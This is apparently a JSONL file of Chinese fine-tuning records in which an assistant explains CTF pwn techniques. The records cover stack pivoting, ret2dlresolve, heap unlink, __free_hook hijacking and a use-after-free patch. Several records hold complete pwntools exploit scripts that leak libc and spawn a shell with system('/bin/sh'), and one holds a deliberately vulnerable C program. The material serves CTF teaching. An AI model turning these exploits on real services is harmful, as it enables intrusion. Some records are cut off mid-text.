{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-adc4646b04e5dd4ad025", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题\n\n题目下载：\n\n> 2018 安恒杯 over\n\n+ 分析\n\nchecksec 发现没有`canary`保护和`PIE`保护。\n\n\n\nida 分析，发现主函数中`while`循环调用了一个自定义函数。跟进查看。\n\n\n\n分析函数发现存在栈溢出，但是只能溢出 16 字节无法构造较长的 rop 链。\n\n但是`read`函数并不会给输入字符串末尾补`\\0`，所以当我们输入`0x50`个字符时，可以将`rbp`的值打印出来。\n\n\n\n接下来我们分析栈结构。\n\n\n\n从这里可以看到我们将泄露出的`rbp`是`0x7fffffffd420`，而我们输入的内容的地址为`0x7fffffffd3b0`。\n\n`0x7fffffffd420-0x7fffffffd3b0=0x70`，两个地址之间的偏移相差`0x70`。\n\n所以我们可以输入 payload 后，通过`leave;ret`指令将`rsp`迁移到 payload 处。\n\n接下来我们寻找`leave;ret`指令。\n\n\n\n`fake rbp`设置为原来的`rbp-0x70`，然后再次进行一次`leave;ret`。\n\n这里我们需要执行两次 payload，因为我们需要先泄露`libc`地址来查找`libc`函数。\n\n因为程序存在循环不断执行，所以我们可以第一次 payload 泄露`libc`地址，然后第二次 payload getshell。\n\n**栈结构分析**\n\n进行两次`leave;ret`，第一个我们将`rbp`迁移到输入处，第二次我们将`rsp`迁移到输入处。\n\n+ 没执行前堆栈\n\n[图片: image]\n\n+ 第一次`leave;ret`，将`rbp`迁移过去。\n\n[图片: image]\n\n[图片: image]\n\n[图片: image]\n\n+ 第二次`leave;ret`，将`rsp`指针迁移过去\n\n[图片: image]\n\n[图片: image]\n\n[图片: image]\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('over')\nio = process([elf.path])\n#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\nlibc = ELF('/buu/64/libc-2.23.so')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ndbg()\n\n#泄露rbp\npayload = b'a' * 0x50\nru(b'>')\ns(payload)\n\nrbp_addr =  u64(ru(b\"\\n\")[-7:-1] + b'\\x00\\x00')\nlg(\"rbp\",rbp_addr)\n\npop_rdi = 0x400793\nputs_got = elf.got.puts\nputs_plt = elf.plt.puts\nret=0x0000000000400509\nvuln = 0x400676\nleave_ret = 0x4006be\n#pause()\n\n\n#前面填充的\"a\"是因为程序并不会执行它\npayload=b\"a\"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)+b\"a\"*40+p64(rbp_addr-0x70)+p64(leave_ret)\n\ns(payload)\n\nlibc.address = l64()-libc.sym.puts\nlg(\"libc base\",libc.address)\nsys = libc.sym.system\nsh = next(libc.search(b\"/bin/sh\\x00\"))\nlg(\"system\",sys)\nlg(\"sh\",sh)\n\n#执行system(\"/bin/sh\")，添加一个ret平栈\n#这里减去0x30是因为再次进入漏洞函数时，函数开头的汇编指令改变了栈结构。\npayload = b\"a\"*8 + p64(pop_rdi) + p64(sh)+ p64(ret) + p64(sys) + p64(vuln) + b\"a\"*32 + p64(rbp_addr-0x70-0x30) + p64(leave_ret)\n\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1959c0860bf44db0", "original_line": 589, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ae4a88b2f9dd1fb6d454", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/cpu.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/cpu.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `init`\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x1000`\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n#include \n#include \n\nvoid init() {\n    setbuf(stdin, 0);\n    setbuf(stdout, 0);\n    setbuf(stderr, 0);\n}\n\nint main() {\n    int a = 20;\n    int b = 30;\n    init();\n    printf(\"input: \");\n\n    // 使用 mmap 创建一个可执行内存区域\n    void *exec_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);\n    if (exec_mem == MAP_FAILED) {\n        perror(\"mmap failed\");\n        exit(1);\n    }\n\n    // 填充 ret 指令\n    unsigned char ret[] = { 0xc3 }; // ret 指令\n    memcpy(exec_mem + 2, ret, sizeof(ret));\n\n    // 读取输入到 exec_mem\n    read(0, exec_mem, 2);\n\n    // 执行 exec_mem 中的代码\n    void (*exec_func)() = (void(*)())exec_mem;  // 将 exec_mem 转换为函数指针\n    __asm__ volatile(\n        \"call exec_mem;\"         // 调用 exec_mem\n        \"mov %[a], %%edi;\"       // 将 a 的值传递给 edi\n        \"mov %[b], %%esi;\"       // 将 b 的值传递给 esi\n        \"cmp %%esi, %%edi;\"      // 比较 edi 和 esi 中的值\n            \"jl less_than_label;\"   // 如果 edi < esi，跳转到 less_than_label\n            :\n            : [a] \"r\"(a), [b] \"r\"(b) // 将 a 和 b 的值传递给汇编\n            : \"rdi\", \"rsi\"           // 告诉编译器 rdi 和 rsi 被使用\n        );\n\n    system(\"/bin/sh\");     // 如果 a >= b，调用 system(\"/bin/sh\")\n    __asm__ volatile(\"less_than_label:\");\n    printf(\"Learn the assembly instructions\\n\");\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-2d3671ac11332627", "original_line": 41, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/cpu.c", "split": "train", "split_group_key": "7c057ed341b00160d0d7a13e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/cpu.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-aeea0ec066d308792fe0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/32位/stage6_roputils.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/32位/stage6_roputils.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `import roputils`\n- `from pwn import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\n\nimport roputils\nfrom pwn import *\n\nfpath = './bof'\noffset = 112\n\nrop = roputils.ROP(fpath)\naddr_bss = rop.section('.bss')\n\nbuf = rop.retfill(offset)\nbuf += rop.call('read', 0, addr_bss, 100)\nbuf += rop.dl_resolve_call(addr_bss+20, addr_bss)\n\np=process(fpath)\nprint p.recv()\np.send(p32(len(buf)) + buf)\n\nbuf = rop.string('/bin/sh')\nbuf += rop.fill(20, buf)\nbuf += rop.dl_resolve_data(addr_bss+20, 'system')\nbuf += rop.fill(100, buf)\n\np.send(buf)\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-63a42338f27b23cf", "original_line": 53, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/32位/stage6_roputils.py", "split": "train", "split_group_key": "254df3405f7441e04c07f96e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/32位/stage6_roputils.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-aefcf332020985c906cd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「利用思路」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 利用思路\n+ 公式：\n\n```c\nfeak_chunk->Fd = &p - 3*sizeof(size_t);\nfeak_chunk->Bk = &p - 2*sizeof(size_t);\n\nf->PREV_INUSE = 0;\nf->prev_size = chunk_size(feak_chunk);\n\nfree(f)\n\np[3] = 需要覆盖的地址()\n\nprintf(\"%s\",p) 泄露需要覆盖的地址\n\np[0] = system\n\n调用需要覆盖的地址()拿shell\n```\n\n正常情况下，每申请一个 chunk 会保存一个指向该 chunk 内存块的指针\n\n在 chunk1 伪造 fake chunk ，需要注意：\n\n1. 为了绕过\n\n```plain\nif (__builtin_expect(FD->bk != P || BK->fd != P, 0))\n    malloc_printerr(check_action, \"corrupted double-linked list\", P, AV);\n```\n\n令：\n\n+ fakeFD -> bk == P1 <=> `*(&fakeFD + 0x18) == P1 <=> *fakeFD == &P1 - 0x18`\n+ fakeBK -> fd == P1 <=> `*(&fakeBK + 0x10) == P1 <=> *fakeBK == &P1 - 0x10`\n2. 为了绕过\n\n```plain\nif (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))\n    malloc_printerr(\"corrupted size vs. prev_size\");\n```\n\n要将 chunk2 的 prev_size 修改成 fake chunk 的 size。或者将 size 和 prev_size 修改为 0 。不过 glibc-2.29 起多了对 size 和 prev_size 的检查。\n\n```c\n/* consolidate backward */\nif (!prev_inuse(p)) {\n  prevsize = prev_size (p);\n  size += prevsize;\n  p = chunk_at_offset(p, -((long) prevsize));\n  if (__glibc_unlikely (chunksize(p) != prevsize))\n    malloc_printerr (\"corrupted size vs. prev_size while consolidating\");\n  unlink_chunk (av, p);\n}\n```\n\n3. 为了绕过\n\n```c\nif (!in_smallbin_range(chunksize_nomask(P)) &&\n    __builtin_expect(P->fd_nextsize != NULL, 0)) {\n    if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||\n        __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))\n        malloc_printerr(check_action, \"corrupted double-linked list (not small)\", P, AV);\n```\n\nfake chunk 大小应在 small bin 范围。\n\n4. 为了能使得 chunk2 与 fake chunk 合并，chunk2 的 size 的 PREV_INUSE 位 为 0 ，且 chunk2 的大小不能在 fast bin 范围。\n\n[图片: Pasted image 20250413121402]\n\n释放 chunk2 ，向前合并 fake chunk ，使得 fake chunk 进行 unlink 操作，按如下代码执行，因此 `P1 = &P1 - 0x18` 。\n\n+ `FD->bk = BK` <=> `P1 = &P1 - 0x10`\n    - `BK->fd = FD` <=> `P1 = &P1 - 0x18`\n\n[图片: image]\n\n至此，整个指针数组被控制，可以实现任意地址读写。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-33f839507b191f83", "original_line": 3, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-af3123b708383270f6a7", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/64位/stage6.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/64位/stage6.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `makecall`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x1c8`, `0x800`, `0x20740`, `0x6E406`, `0x8eb46`, `0x4002c0`, `0x400398`, `0x400470`, `0x400510`, `0x4005e0`, `0x400676`, `0x4006ab`, `0x400790`, `0x4007AA`, `0x4007b3`\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\nfrom pwn import *\n\n#需修改:文件名、溢出偏移、gadget地址、各节地址\nfpath = './bof'\noffset = 112\nlength = 0x100\nstack_size = 0x800\nmain_addr=0x400676\np6_addr=0x4007AA\ncall_addr=0x400790\nleave_ret=0x4006ab\np_rbp_ret=0x4005e0\np_rdi_ret=0x4007b3\n\nelf = ELF(fpath)\nwrite_got=elf.got['write']\nread_got=elf.got['read']\nread_plt = elf.plt['read']\nwrite_plt = elf.plt['write']\ngot_8=elf.get_section_by_name('.got.plt').header.sh_addr+8   #0x601008\nbss_addr =elf.get_section_by_name('.bss').header.sh_addr\nbase_stage = bss_addr + stack_size\n#print 'got_8=',hex(got_8)\n\ndef makecall(addr, rdi, rsi, rdx, tail = 0):\n    payload = ''\n    payload += p64(p6_addr)\n    payload += p64(0x0)\n    payload += p64(0x1)\n    payload += p64(addr)\n    payload += p64(rdx)\n    payload += p64(rsi)\n    payload += p64(rdi)\n    payload += p64(call_addr)\n    if (tail):\n        payload += p64(0x0) * 7 + p64(tail)\n    return payload\n\np = process(fpath)\nprint p.recv()        # 'Welcome to XDCTF2015~!\\n'\n#1.泄露&link_map地址\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(write_got,1,got_8,8,tail=main_addr)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\nlink_map = u64(p.recv(8))\nprint 'link_map=',hex(link_map)\n\n#2.往link_map+0x1c8写0\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,link_map+0x1c8,8,tail=main_addr)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\np.send(p64(0))\n\n#3.往base_stage写入伪造结构并跳过去\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,base_stage,0xd0,tail=0)   #假设结构大小是400\npayload+=p64(0)*2+p64(base_stage)+p64(0)*4\npayload+=p64(leave_ret)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\n\n\n#4.bss数据：rop-参数放在寄存器/ 伪造结构\n#(1)确定各个节的地址\ncmd = \"/bin/sh\"\nplt_0 = 0x400510 # objdump -d -j .plt bof\nrel_plt = 0x400470 # objdump -s -j .rela.plt bof\nwrite_got = elf.got['write']\ndynsym = 0x4002c0 #readelf -S bof\ndynstr = 0x400398\n#(2)确定重定位下标\nindex_offset = base_stage + 7*8\nalign = 24 - ((index_offset-rel_plt) % 24)  # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小\nindex_offset = index_offset + align\nindex = (index_offset - rel_plt) / 24 # base_stage + 7*8 指向fake_reloc，减去rel_plt即偏移\n#(3)确定动态链接符号下标\nfake_sym_addr = base_stage + 13*8\nalign = 24 - ((fake_sym_addr - dynsym) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小\nfake_sym_addr = fake_sym_addr + align\nindex_dynsym = (fake_sym_addr - dynsym) / 24 # 除以24因为Elf64_Sym结构体的大小为24，得到write的dynsym索引号\n#(4)伪造重定位结构+动态链接结构\nr_info = (index_dynsym << 32) | 0x7\nfake_reloc = p64(write_got) + p64(r_info) + p64(0)\nst_name = (fake_sym_addr + 24) - dynstr   #fake_sym（Elf32_Sym结构体）大小0x10\nfake_sym = p32(st_name) + p32(0x12) + p64(0) + p64(0)\n\npayload2 = 'AAAAAAAA'\npayload2 += p64(p_rdi_ret)\npayload2 += p64(base_stage+0xc0)   #/bin/sh\npayload2 += p64(plt_0)\npayload2 += p64(index)\npayload2 += 'AAAAAAAA'       #返回地址\npayload2 += 'aaaaaaaa'\n\npayload2 = payload2.ljust(index_offset-base_stage,'B')\npayload2 += fake_reloc # index_offset(base_stage+7*8)的位置\npayload2 = payload2.ljust(fake_sym_addr-base_stage,'B')\npayload2 += fake_sym   # fake_sym_addr(base_stage+9*8)的位置\n\npayload2 += \"system\\x00\"\npayload2 = payload2.ljust(0xc0,'\\x00')\npayload2 += cmd + '\\x00'\npayload2 = payload2.ljust(0xd0,'\\x00')\ngdb.attach(p,'b *0x4006ab')\nraw_input('wait!!\\n')\np.send(payload2)\np.interactive()\n\n#目标：0x8eb46 : cmp byte ptr [rax], dl ; ret\n#>>> hex(elf.symbols['__libc_start_main'])\n#'0x20740'\n#0x8eb46-0x20740=0x6E406\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-f7f3a32f5447f7a7", "original_line": 536, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/stage6.py", "split": "train", "split_group_key": "a701d3e9eb48e0b36e8f7ac7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/stage6.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b023e9eee8986724e28f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「free_hook」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### free_hook\n\n```c\nvoid\n__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;                          /* chunk corresponding to mem */\n  // 调用 __free_hook ，参数是是否的内存的地址。\n  void (*hook) (void *, const void *)\n    = atomic_forced_read (__free_hook);\n  if (__builtin_expect (hook != NULL, 0))\n    {\n      (*hook)(mem, RETURN_ADDRESS (0));\n      return;\n    }\n```\n\ngdb调试\n\n```\np &__free_hook\n```\n\n查看 free_hook 地址上的内容。\n\n我们可以通过在hook中写`system`函数，将`malloc`和`free`函数修改为执行`system`函数，我们`malloc`或`free`一个存有`/bin/sh`的chunk既可以完成getshell。或者我们可以将hook修改为one_gadget直接getshell。\n\n+ 使用 malloc 时，系统会从两分配区来划分：文件映射区和堆区。\n  - 当申请内存小 128KB 时，通过 brk 系统调用，直接堆区分配内存。\n  - 当申请内存大于 128 KB 时，通过 mmap 系统调用，从文件映射区域分配内存。\n+ free的是brk堆内存（堆上内存在free后不会立刻将它归还操作，程序会继续执行，会造成潜在的UAF问题。free 的是堆顶的内存，并且堆顶的空闲内存大于 128kb，使用超过 128kb 的内存则会直接引发段错误。free的是mmap映射区域，由文件映射区域存在 free 后立刻归还并取消内存映射，当再次访问此内存进就会发生段错误问题）。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-46b42507cf3f87a3", "original_line": 71, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b06ff57bd5eab8432d22", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「fix」。\n资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## fix\n\n漏洞点：\n\n```\nloc_E05:                                ; CODE XREF: sub_D78+78↑j\n.text:0000000000000E05 028 8B 45 EC                                      mov     eax, [rbp+var_14]\n.text:0000000000000E08 028 48 98                                         cdqe\n.text:0000000000000E0A 028 48 8D 14 C5 00 00 00 00                       lea     rdx, ds:0[rax*8]\n.text:0000000000000E12 028 48 8D 05 47 12 20 00                          lea     rax, heaplist\n.text:0000000000000E19 028 48 8B 04 02                                   mov     rax, [rdx+rax]\n.text:0000000000000E1D 028 48 89 C7                                      mov     rdi, rax        ; ptr\n.text:0000000000000E20 028 E8 FB F9 FF FF                                call    _free\n.text:0000000000000E20\n.text:0000000000000E25 028 B8 00 00 00 00\n```\n\n```\nloc_E05:\n        mov     eax, [rbp+var_14]     ; n4 = index\n        cdqe\n        lea     rdx, ds:0[rax*8]      ; rdx = index * 8\n        lea     rax, heaplist\n        mov     rax, [rdx+rax]        ; rax = heaplist[index]\n        mov     rdi, rax              ; ptr\n        call    _free                 ; heaplist[index] 未置空\n        mov     eax, 0\n```\n\n修复后：\n\n```\n.text:0000000000000E05 loc_E05:\n.text:0000000000000E05 mov     eax, [rbp+var_14]\n.text:0000000000000E08 lea     rdx, heaplist\n.text:0000000000000E0F mov     rdi, [rdx+rax]  ; ptr\n.text:0000000000000E13 push    rdi\n.text:0000000000000E14 call    _free\n.text:0000000000000E19 pop     rdi\n.text:0000000000000E1A mov     rdi, r9\n```\n\n- 另一种 fix 思路\n\n将`mov eax,0 `置零改成`jmp loc_10da`\n\n```\nloc_10DA:\n.text:00000000000010DA 028 8B 45 EC                                      mov     eax, [rbp+var_14]\n.text:00000000000010DD 028 48 98                                         cdqe\n.text:00000000000010DF 028 48 8D 14 C5 00 00 00 00                       lea     rdx, ds:0[rax*8]\n.text:00000000000010E7 028 48 8D 05 72 0F 20 00                          lea     rax, heaplist\n.text:00000000000010EE 028 48 C7 04 02 00 00 00 00                       mov     qword ptr [rdx+rax], 0\n.text:00000000000010F6 028 48 8D 3D 0E 03 00 00                          lea     rdi, aRecordCleared ; \"record cleared\"\n.text:00000000000010FD 028 E8 2E F7 FF FF                                call    _puts\n.text:00000000000010FD\n.text:0000000000001102 028 B8 00 00 00 00                                mov     eax, 0\n\n反汇编：\n  heaplist[n4] = 0;\n    puts(\"record cleared\");\n    return 0;\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-443e5b4d98ee2d5c", "original_line": 234, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "split_group_key": "59c73050f60dc7a2444c3b7f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b08be292fee01a8bc227", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「（1）节表认识」。\n资料来源：Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md；主题：dl_resolve-any_gadget；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": ">st_info) == STT_GNU_IFUNC, 0))\n142\t    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));\n143\n144\t  /* Finally, fix up the plt itself.  */\n145\t  if (__glibc_unlikely (GLRO(dl_bind_not)))\n146\t    return value;\n147\t// 6.最后把value写入相应的GOT表条目中\n148\t  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);\n149\t}\n```\n\n​\t主要流程如下：\n\n```c\n_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)\n{\n    // 1.首先通过参数reloc_arg计算重定位入口，这里的JMPREL即.rel.plt，reloc_offset即reloc_arg\n    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);\n    // 2.然后通过reloc->r_info找到.dynsym中对应的条目\n    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];\n    // 3.这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7\n    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);\n    // 4.接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址\n    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);\n    // 5.value为libc基址加上要解析函数的偏移地址，也即实际地址\n    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);\n    // 6.最后把value写入相应的GOT表条目中\n    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);\n}\n```\n\n####（4）利用libc中的gadget\n\n​\t可以在源码中看到，在**第3步**之后，当.dynsym节中Elf32_Sym结构的st_other值为非0时，会进入另一个不常见的分支，最终跳到（l->l_addr+sym->st_value）。\n\n```c\n/* Look up the target symbol.  If the normal lookup rules are not\n\t      used don't look in the global scope.  */\nif (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)\n{\n}\nelse\n{\n\t/* We already found the symbol.  The module (and therefore its load\n\t  address) is also known.  */\n\tvalue = DL_FIXUP_MAKE_VALUE (l, l->l_addr+sym->st_value);\n\tresult = l;\n}\n```\n\n​\t说明：l是link_map结构，link_map结构第一个变量就是l_addr。（应该没有检查，伪造的话）。以下是解析read地址时跳到got[8]时的link_map结构，可见l_addr==0：\n\n[图片: link_map]\n\n#####利用方法：\n\n​\t1.可以伪造link_map结构。\n\n​\t2.使l_addr或st_value其中之一恰好落到某个地址解析已完成的GOT表处，另一个变量设置为可控偏移。\n\n​\t3.这样就能跳到libc中任意地址（libc_func+offset）。\n\n​\t4.我们可以利用libc中任意gadget。\n\n##2. 32位dl_resolve", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-92cb34a10e794bb7", "original_line": 584, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md", "split": "train", "split_group_key": "797d0effc87ee7204e563363"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md", "split": "train", "type": "ctf_lora_sft"}
